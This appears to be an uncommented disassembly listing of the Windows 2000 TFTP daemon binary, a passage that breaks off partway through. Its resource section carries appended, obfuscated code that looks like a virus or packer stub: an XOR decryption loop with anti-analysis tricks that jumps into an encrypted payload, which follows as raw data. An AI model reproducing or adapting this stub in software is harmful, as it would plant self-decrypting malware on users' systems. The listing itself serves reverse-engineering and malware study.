_XcptFilter add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov edx, [ebp-30h] push edx call ds:_exit ; _exit ; --------------------------------------------------------------------------- loc_1003B80: ; CODE XREF: .text:01003B5Cj add esp, 4 mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p push 30000h ; Mask push 10000h ; NewValue call _controlfp ; _controlfp add esp, 8 retn sub_1003BB0 endp ; --------------------------------------------------------------------------- align 10h loc_1003BD0: ; DATA XREF: .text:01003AD3o xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 10h loc_1003BF0: ; DATA XREF: .text:01003A5Ao jmp ds:_except_handler3 ; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND] dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh) dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh) dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch dd 5 dup(0) dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0 dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0 dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0 dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch dd 80000002h, 80000037h, 80000017h, 80000014h, 0 dd 417Ch, 4190h, 0 dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0 dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h aWsagetoverlapp db 'WSAGetOverlappedResult',0 align 4 a2 db '2',0 aWsarecvfrom db 'WSARecvFrom',0 dw 0Fh aWsacloseevent db 'WSACloseEvent',0 db '=',0 aWsasocketa db 'WSASocketA',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 align 4 aM db 'Œ',0 aExitprocess db 'ExitProcess',0 dw 12Dh aGetlasterror db 'GetLastError',0 align 2 dw 2FDh aWaitforsingleo db 'WaitForSingleObject',0 a4 db '4',0 aCreateeventa db 'CreateEventA',0 align 10h db 0C5h ; Å db 1, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 654801B6h, 72437061h, 65746165h, 1DE0000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 dw 1BAh aHeapfree db 'HeapFree',0 align 2 dw 1Eh aClosehandle db 'CloseHandle',0 aO db 'o',0 aEntercriticals db 'EnterCriticalSection',0 align 4 retf ; --------------------------------------------------------------------------- db 1, 49h, 6Eh aTerlockedincre db 'terlockedIncrement',0 align 4 db 0FBh ; û db 2, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 1B4h aHeapalloc db 'HeapAlloc',0 dw 252h aResetevent db 'ResetEvent',0 align 10h retn ; --------------------------------------------------------------------------- db 2, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0D8h ; Ø db 2, 54h, 72h aYentercritical db 'yEnterCriticalSection',0 dw 2C5h aSuspendthread db 'SuspendThread',0 dw 254h aResumethread db 'ResumeThread',0 db 0, 90h, 2 aSetevent db 'SetEvent',0 align 2 dw 29Ch aSetlasterror db 'SetLastError',0 align 2 aZ db 'Z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 12Fh aGetlocaltime db 'GetLocalTime',0 align 2 aP db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 aKernel32_dll db 'KERNEL32.dll',0 align 10h db 0E5h ; å db 1, 53h, 74h aArtservicectrl db 'artServiceCtrlDispatcherA',0 dw 1DFh aSetservicestat db 'SetServiceStatus',0 align 2 dw 1B9h aRegisterservic db 'RegisterServiceCtrlHandlerA',0 db 84h ; „ db 1, 52h, 65h aGclosekey db 'gCloseKey',0 dw 1A7h aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 19Dh aRegopenkeyexa db 'RegOpenKeyExA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h db 50h ; P db 2, 52h, 74h aLregisterwait db 'lRegisterWait',0 dw 184h aRtlcreatetimer db 'RtlCreateTimer',0 align 4 db 85h ; … db 1, 52h, 74h aLcreatetimerqu db 'lCreateTimerQueue',0 dw 42Eh a_chkstk db '_chkstk',0 db 0A1h ; ¡ db 1, 52h, 74h aLderegisterwai db 'lDeregisterWaitEx',0 dw 433h a_itoa db '_itoa',0 dw 450h aAtoi db 'atoi',0 align 2 dw 43Dh a_stricmp db '_stricmp',0 align 2 dw 46Dh aMemmove db 'memmove',0 dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0) _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 000012DC ( 4828.) ; Section size in file : 00000E00 ( 3584.) ; Offset to raw data for section: 00003A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 1005000h dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[] Format db ' ================================================================' ; DATA XREF: sub_1001570+4Do db '======== ',0Ah db 'Abstract: ' db ' ',0Ah db ' This implements an RFC 783 tftp daemon. ' db ' ',0Ah db ' It listens on port 69 for requests ' db ' ',0Ah db ' and spawns a thread to process each request. ' db ' ',0Ah db ' ' db ' ',0Ah db 'TFTPD USAGE and Installation: ' db ' ',0Ah db ' ' db ' ',0Ah db ' md d:/tftpd (the StartDirec' db 'tory). ',0Ah db ' copy //MohsinA_p90/test/tftpd.exe . ' db ' ',0Ah db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path' db '). ',0Ah db ' sc query tftpd (check if insta' db 'lled). ',0Ah db ' ' db ' ',0Ah db 'Start: ' db ' ',0Ah db ' sc start tftpd -f (creates a log ' db 'file). ',0Ah db 'or sc start tftpd ' db ' ',0Ah db 'or net start tftpd ' db ' ',0Ah db 'or sc start tftpd [-dStartDirectory] [-e] [-f] ' db ' ',0Ah db ' Options: -e use event log. ' db ' ',0Ah db ' -f log to file. ' db ' ',0Ah db ' -dStartDirectory ' db ' ',0Ah db 'Info: ' db ' ',0Ah db ' sc interrogate tftpd (logs will be updated). ' db ' ',0Ah db ' sc query tftpd Check whether running. ' db ' ',0Ah db 'Stop: ' db ' ',0Ah db ' sc stop tftpd ' db ' ',0Ah db ' net stop tftpd ' db ' ',0Ah db ' ' db ' ',0Ah db 'Variables that control what files can be read/written and by whom' db ': ',0Ah db ' StartDirectory - only files there will be accessible. ' db ' ',0Ah db ' LogFile is created here. ' db ' ',0Ah db ' ValidClients - Clients matching this ip address can read files' db '. ',0Ah db ' eg. you can set it to "157.55.8?.*" ' db ' ',0Ah db ' ValidMasters - clients matching this can write and read file' db 's. ',0Ah db ' eg. you can set it to "" and no one can write' db '. ',0Ah db ' ValidReadFiles - only matching files will be served out, eg. "' db 'r*.t?t"',0Ah db ' ValidWriteFiles- only matching files will be accepted, eg. "w' db '*.txt" ',0Ah db ' ' db ' ',0Ah db 'Client: ' db ' ',0Ah db ' tftp [-i] servername {get|put} src_file dest_file ' db ' ',0Ah db ' -i from binary mode, else ascii mode is used. ' db ' ',0Ah db ' ' db ' ',0Ah db ' ================================================================' db '======== ',0Ah,0 align 8 ; char ServiceName[] ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo ; .data:ServiceStartTableo align 10h ; SERVICE_TABLE_ENTRYA ServiceStartTable ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665> ; DATA XREF: sub_1001570:loc_1001646o ; "Tftpd" align 10h off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r ; "Error undefined" dd offset aFileNotFound ; "File not found" dd offset aAccessViolatio ; "Access violation" dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded" dd offset aIllegalTftpOpe ; "Illegal TFTP operation" dd offset aUnknownTransfe ; "Unknown transfer ID" dd offset aFileAlreadyExi ; "File already exists" dd offset aNoSuchUser ; "No such user" dd offset aOptionNegotiat ; "Option negotiation failure" align 8 ; BYTE Data Data db 2Ah ; DATA XREF: sub_1002F31+143o ; sub_10037BF+87o align 4 dd 0Dh dup(0) ; BYTE byte_1005D20 byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o ; sub_100333A+163o ... align 4 dd 0Dh dup(0) ; BYTE byte_1005D58 byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o ; sub_10037BF+EAo align 4 dd 0Dh dup(0) ; BYTE byte_1005D90 byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o ; sub_10037BF+11Ao align 4 dd 0Ch dup(0) dword_1005DC4 dd 1 align 10h ; FILE *File File dd 0 ; DATA XREF: sub_1001665+1E5w ; sub_1001E73:loc_1001F36r ... dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ... ; HANDLE hHandle hHandle dd 0 ; DATA XREF: sub_1001665+84w ; sub_1001665+8Br ... ; HANDLE hObject hObject dd 0 ; DATA XREF: sub_1001665+91w ; sub_1001E73:loc_1001F0Cr ... align 8 ; volatile LONG Addend Addend dd 0 ; DATA XREF: sub_1001A91+26Eo ; sub_1001A91+2B3o ; HANDLE hHeap hHeap dd 0 ; DATA XREF: sub_10019F0+29w ; sub_1001A1F+52r ... dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ... dword_1005DF4 dd 0 ; sub_1001A91+59w ... dword_1005DF8 dd 0 ; sub_10018DB+EFr dword_1005DFC dd 0 ; HANDLE Handle Handle dd ? ; DATA XREF: sub_10018DB+F4o ; sub_1002219+D5o db 3 dup(?) dword_1005E07 dd ? ; sub_1003910+6Br ... align 4 dd 7Ch dup(?) dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006020 stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o ; .text:01001D78o ... ; void *Memory Memory dd ? ; DATA XREF: sub_10018DB+2Ao ; sub_10018DB+34w ... dword_100603C dd ? ; HANDLE hThread hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr ; HandlerProc:loc_1001E35r ; SERVICE_STATUS_HANDLE hServiceStatus hServiceStatus dd ? ; DATA XREF: sub_1001665+52w ; sub_1001665+DBr ... dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060 stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o ; sub_1001A1F+2o ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: sub_10019F0o ; sub_10019F0+Fw ... dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do ; sub_100287F+1o ... dword_1006098 dd ? ; sub_10018DB+25w ... dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ... dd 7 dup(?) ; time_t Time Time dq ? ; DATA XREF: sub_1001665+10Ao ; sub_1001665:loc_1001857o ... dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?) ; struct _OVERLAPPED overlapped overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o ; sub_1002219:loc_10022E9o align 10h ; struct _SERVICE_STATUS ServiceStatus ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w ; sub_1001665+63o ... align 10h ; struct WSAData stru_1006140 stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h _data ends ; Section 3. (virtual address 00007000) ; Virtual size : 00018400 ( 99328.) ; Section size in file : 00013000 ( 77824.) ; Offset to raw data for section: 00004800 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 1007000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 3 dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 10000h, 1, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0) dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aR: unicode 0, <r%> dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h dd 690074h, 6E006Fh, 0 aTcpIpTrivialFi: unicode 0, <TCP/IP Trivial file transfer daemon.>,0 align 4 a8 db '8',0 dw 0Ch dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_00_2134_1: unicode 0, <5.00.2134.1>,0 a4_0: unicode 0, <4> dw 0Ah dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h dd 750064h, 740063h, 61004Eh, 65006Dh, 0 aMicrosoftRWind: unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0 align 4 db '<',0 dw 0Ch dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h dd 6F0066h, 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 0Bh dup(0) ; --------------------------------------------------------------------------- cmc push ebp mov ebp, esp call sub_100741F clc nop nop call sub_10074DC cld mov ebp, 0 ; DATA XREF: sub_100741F+6w mov eax, eax cld jmp loc_1007471 ; =============== S U B R O U T I N E ======================================= sub_100741F proc near ; CODE XREF: .rsrc:01007404p push dword ptr fs:0 add dword ptr ds:loc_1007412+1, ebp jmp short $+2 xchg ebx, ebx mov fs:0, esp xor ebx, ebx push ebx push ebx push ebx push ebx push ebx push ebx push ebx push 200h push ebx call ds:GetLastError xor ebx, ebx push ebx push ebx push 80000000h push ebx push ebx push 800h push 80000000h push ebx push 80000000h push 800h push ebx call ds:GetLastError loc_1007471: ; CODE XREF: .rsrc:0100741Aj clc sub eax, eax loc_1007474: ; CODE XREF: sub_100741F+5Bj dec al or al, al jz short loc_100747E jnz short loc_1007474 jmp short near ptr loc_10074E2+3 ; --------------------------------------------------------------------------- loc_100747E: ; CODE XREF: sub_100741F+59j nop xchg ebx, ebx call sub_1007488 jmp short $+2 sub_100741F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1007488 proc near ; CODE XREF: sub_100741F+62p pop ebx mov ecx, ecx sub ebx, 0FFFFFF9Bh push ebx sub edx, edx xor edx, 2990h mov edx, edx jmp short $+2 nop nop sub ecx, ecx add ecx, 0F3h mov edx, edx loc_10074AA: ; CODE XREF: sub_1007488+37j xchg al, [ebx] nop xor ax, cx stc cld stc xchg al, [ebx] xchg ebx, ebx inc ebx dec edx jmp short $+2 jmp short $+2 or edx, edx jnz short loc_10074AA pop ebx mov edx, edx cmc mov ecx, [ebp-8] mov fs:0, ecx jmp short $+2 jmp short $+2 leave cld jmp short $+2 jmp ebx sub_1007488 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0C9h align 4 ; =============== S U B R O U T I N E ======================================= sub_10074DC proc near ; CODE XREF: .rsrc:0100740Cp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax loc_10074E2: ; CODE XREF: sub_100741F+5Dj pop dword ptr [edx+0B8h] retn sub_10074DC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0C9h db 1Bh dd 0F3F3F3F3h, 0FD7F778h, 0DA8C7B78h, 6B7AF3F3h, 0F3F3C134h dd 0F3F31272h, 0AF78F7F3h, 0D887F7D7h, 38437AAAh, 79F3F3C1h dd 0F3DA707Bh, 3C4B7AF3h, 73F3F3C1h, 0FB871B0Ah, 0DA766B78h dd 0FA18F3F3h, 0DA776BF0h, 0A878F3F3h, 0A6E878F1h, 9F721B78h dd 0C953F7D7h, 1E72F3F3h, 0F3E3E3F6h, 0F7D78F78h, 0CA63467Eh dd 0F34AF3E3h, 0F3F3F3h, 0F3411B57h, 3B78F3F3h, 0F3F3581Bh dd 8732D8F3h, 0F2F3CE8Ah, 8184F3F3h, 3F31072h, 88720C0Ch dd 9A9BA7BDh, 72FB8780h, 0F3F2F318h, 781C86F3h, 0CFB0F030h dd 958BA378h, 0B6A3CB72h, 20F01A86h, 78D38178h, 0F0EBB9h dd 30F05EA2h, 0F18B7295h, 0FA86A387h, 9CF68B72h, 8797B290h dd 0AA1911F6h, 0FFDADB18h, 0D78178D7h, 0FC00F0AAh, 78BDF744h dd 8F0EF89h, 0F074C778h, 0B2767E00h, 95F3E3E2h, 1B14A378h dd 0F3F3F3C6h, 7678B918h, 0F3E3CA77h, 0F3F3F3D6h, 78EC87F7h dd 7EF7D78Fh, 0E3CA7B46h, 6E785EF3h, 0F3E3B13Fh, 4E785758h dd 0F3E3B127h, 0B1234678h, 30AEF3E3h, 9330C2FCh, 0B04AA054h dd 78F3F3DBh, 0D9E3C329h, 0F2337020h, 25752C75h, 30A80011h dd 0F3F3587Bh, 2EDFE953h, 0F63B9D60h, 805F2ABDh, 0ED0CCF93h dd 0B79557DAh, 0D29B2003h, 6E3376D3h, 1792A1E1h, 0D4C55F36h dd 7321C7Dh, 0DCE54180h, 0BBCD2616h, 0F9BEAA53h, 2A349013h dd 0EE52AAA7h, 0A18171E7h, 72B3F83Ch, 0F2FA0EECh, 0C52310FDh dd 1BF0BF7Bh, 66733753h, 408C5997h, 98CC062Ch, 43E39ABDh dd 14BC3AD6h, 0E7734B92h, 200A2353h, 0FEF2EC83h, 1506DD47h dd 0D1736051h, 6D26FF5Eh, 23769B93h, 0EAB37A46h, 0C7D63B14h dd 0A5331EC6h, 0EE73F910h, 0CAB39243h, 8F6664B6h, 48B036D3h dd 23E3911Bh, 0F4758D53h, 0C7633ACDh, 2786F7D2h, 0E6F3DCADh dd 0A9A6FEE6h, 82BA6313h, 4D0D986Eh, 7BD34593h, 0E1B349D8h dd 49E6674Ch, 4433FEEDh, 5FFC237Bh, 29B37287h, 15678798h dd 0A5F01593h, 0BF37493h, 6F853FDAh, 4B1B0803h, 9F335EA1h dd 0FD665393h, 1CB3F26Dh, 1F73FD3h, 0AA3386D1h, 63F3611Eh dd 2E382A43h, 177FC3AAh, 65DE4FD3h, 36F30C83h, 19A10CC6h dd 0A0D65313h, 8DDF7531h, 0EB99B818h, 0BCEA5A60h, 9768AD86h dd 5E98CDD3h, 3BA4056Fh, 2EAF85ADh, 0CE73137Bh, 2BA699D3h dd 0D0F3A4ADh, 61362A97h, 0F5ECDC1Ch, 2FA4AED3h, 0F3F29693h dd 69B33653h, 3E73807Bh, 0BBA629D3h, 46F334ADh, 93377593h dd 0D73C811h, 0B55B4ED3h, 61F36893h, 555B6353h, 0FF729A44h dd 0FC3347BBh, 5666B93h, 0E9B3FA6Dh, 0D7723819h, 1B051B2Ch dd 7E1BDC83h, 20B31253h, 1F736242h, 8E6AB6B9h, 5CF96E99h dd 0E18DF0C6h, 84824313h, 0AB654350h, 0E4F34C83h, 39B1B6D7h dd 8F753813h, 897D26D3h, 13BF38D7h, 5FC15FACh, 2FE1803h dd 5237905h, 0E67E75A0h, 0A9A3CCEDh, 17E04EA2h, 4D3394A0h dd 0BD015910h, 0DEB33A43h, 27718897h, 0B7B655D3h, 34F33CADh dd 9C3C6323h, 6F6388C8h, 83E98358h, 830C5483h, 69362552h dd 1C73E82Ah, 0F50D8856h, 3A836393h, 0B09C57DCh, 52F82003h dd 2D234819h, 120CDE70h, 8D369552h, 8C73782Ah, 450D6C5Eh dd 54FAEF93h, 7C3C4322h, 4F63A95Ah, 9D325E3Bh, 9B4EB993h dd 0AAB39A6Ch, 8173B2DCh, 0C143D10Ah, 71F09D10h, 3E4AB113h dd 0A7190079h, 18D0E35Eh, 5A4AA483h, 1CB3FA53h, 188D0517h dd 9E55612Ch, 8BBEE81Eh, 0BFB32253h, 2B34FDB8h, 0F0D7F478h dd 0A3CEE006h, 88D5C653h, 0D4D8DE11h, 50D10C11h, 0FB998818h dd 49C17E3Bh, 0F5BF6B13h, 87F7BDD3h, 23F3EC93h, 31D9D253h dd 0C9197A42h, 0DBA68183h, 33F3DCADh, 0D1F3C6D0h, 0F7322FFh dd 5D597258h, 0D3993818h, 0E3D94A39h, 5F73F241h, 85339C3Fh dd 0B1A23CF9h, 0BC4C22ACh, 7F63FEC5h, 32B64F8Ch, 2F4E09Ch dd 0E43EBA53h, 0A7631813h, 0F53FE56Ah, 0B81C2793h, 995E63F6h dd 62732003h, 2D27C256h, 23132B93h, 0AB934007h, 0C9E687ECh dd 0E033DEEDh, 8F864353h, 9B21FBBh, 5F624813h, 0C860F6D3h dd 969121D7h, 58C1CA34h, 0E21F8165h, 82335BB4h, 2BF6C27Bh dd 35063D53h, 30730051h, 0D0D0446h, 0C60CE393h, 0A1A33475h dd 0F5195879h, 7B653B2Ch, 0B34AFC83h, 7EB33252h, 33FA6138h dd 726482F7h, 0D3CDBE06h, 92454953h, 774CFEB6h, 0E2671ED3h dd 356DF96Ch, 9936A243h, 2C359667h, 1341422Dh, 3BD7E06Ch dd 0ABD9EA39h, 0E9E5ADECh, 0E5B68EC3h, 936000E7h, 0C9B317D5h dd 0FCE2A920h, 5BB68FE9h, 0D6F314ACh, 0D5CFDB61h, 3500CB37h dd 141B8AA0h, 0EBFDEB52h, 69E7D253h, 0DF238145h, 93A6D980h dd 96F364ADh, 6EC79393h, 0BF576CECh, 3A05EB5Ch, 9E1BBC83h dd 0FA4C0DAEh, 0C155D5ECh, 0C3D896C3h, 82DB2012h, 2EE43A53h dd 374DAE86h, 53A621D3h, 22F33CADh, 0E64C99EDh, 6F19EA13h dd 0BD5906B9h, 0F29B54F9h, 0CAB3AE53h, 0C77392D7h, 21B842B9h dd 43A57E6Ch, 89B3E60Ch, 59BE920h, 0A0CC892Ch, 73E69706h dd 0E0E24853h, 2DE69743h, 0D633AEEDh, 0F3302C57h, 15B31A0Bh dd 24739021h, 9C33E6DDh, 0D3F33493h, 21B38A53h, 0F373D813h dd 0C5332EFAh, 4AF37C93h, 0FC4CE105h, 0BF633E21h, 899F0F78h dd 0A108D153h, 43E39BDh, 0E763516Eh, 0BFA66181h, 2F3FCADh dd 0C9F16ED6h, 2F659813h, 127FC6D3h, 0C3867FFCh, 77DA1803h dd 3016D47Ah, 0C95258B6h, 0FBB239E6h, 7B266D03h, 1673F02Dh dd 0FD716656h, 61AF4793h, 3FD6A932h, 0A3164572h, 70591C9Ch dd 3780B8F0h, 0DCE07605h, 63732470h, 3141D2A0h, 0D0F39AF6h dd 95D22F21h, 5B1ADE76h, 0C633AFB6h, 0AF9259E1h, 45DA3436h dd 0F128D76h, 0AA5D7FA3h, 71B064D2h, 34C7DB36h, 0C41C7A43h dd 0B4402DB6h, 2E81EF93h, 0CBD69632h, 9B1C5D76h, 4F5BD2B6h dd 7397B5F6h, 0A0D65810h, 7F271D67h, 152ABA1h, 0DE815F93h dd 5DD62632h, 371FCF7Ch, 9E439AB6h, 829D17A1h, 5EDBE923h dd 0FF36E867h, 0BD674ABAh, 4F92E9E1h, 15DA8453h, 0A21A4476h dd 4E5C32B6h, 3687C7EAh, 0CCDA5E3Eh, 85355876h, 2C7FCBB6h dd 0E9928EF1h, 8CF4322Ah, 531AC667h, 0F94797B6h, 0B6914DE1h dd 50C01F27h, 13168F13h, 0D05F7795h, 6E8905C0h, 2DD6E553h dd 0CA1F9955h, 985E2F87h, 4796D393h, 0F4D7851Eh, 0B63B5D7Fh dd 405FEABDh, 1EB4DCD2h, 0A4D64627h, 731A2663h, 52F8B6h dd 0E4F345F6h, 94E72E36h, 2623D87Eh, 957296A7h, 0BD8729D4h dd 50C0F036h, 0C873BE7Ch, 0B86552B6h, 7C9A07E1h, 20CB8F3Dh dd 0C3165F13h, 705F0185h, 35BAD9FEh, 0C4C19D35h, 901A3472h dd 133D7BDh, 0CF9785FCh, 0B0C1583Ah, 2732F161h, 2343BF9Eh dd 848449FAh, 75DA2435h, 1F3CB076h, 0D47568B6h, 92BE31FFh dd 2FDADA23h, 0D873B974h, 0B55D2BA3h, 5E90F3E1h, 0D9B3A120h dd 0BA104F61h, 1F0005A0h, 1081ADD5h, 0C3E31A27h, 74160B7Ch dd 1B018DA0h, 0AB8774F6h, 0BFC72700h, 0E16FC7Ah, 0F44192A7h dd 0B68741F1h, 72B3CB20h, 1E35AC76h, 0AC674BBFh, 48F319FEh dd 19D6D73Fh, 0CC0A5313h, 595E33A7h, 1796C9FAh, 0FDDABC3Ch dd 8A1A1C76h, 5B669EB6h, 0DD838DFEh, 96C4473Ah, 431A3675h dd 1465C6B6h, 0D28660E1h, 6DDF2B3Fh, 73DB7Ch, 0C04767A1h dd 9E9F35D5h, 8C7DC53h, 0EC068A77h, 844166A7h, 469FEDE5h dd 25C0BF34h, 0A916437Ch, 564730D3h, 1F92A9E1h, 0D5DA4436h dd 7B3D5076h, 3C56D490h dd 0E1A391E7h, 92D6293Ch, 433D9860h, 0E4569C90h, 0A9A359E7h dd 5AD6113Ch, 7F0B8560h, 0BF70629Dh, 668705F6h, 25D0DF00h dd 0A71D677Ah, 87702A9Dh, 2E87CDF6h, 0EBD69106h, 8C1C4243h dd 3D40F5B6h, 12BEA0DDh, 0A4DA7C23h, 44153764h, 0C47ADB6h dd 0F5F372FCh, 6CC31D27h, 331AE67Dh, 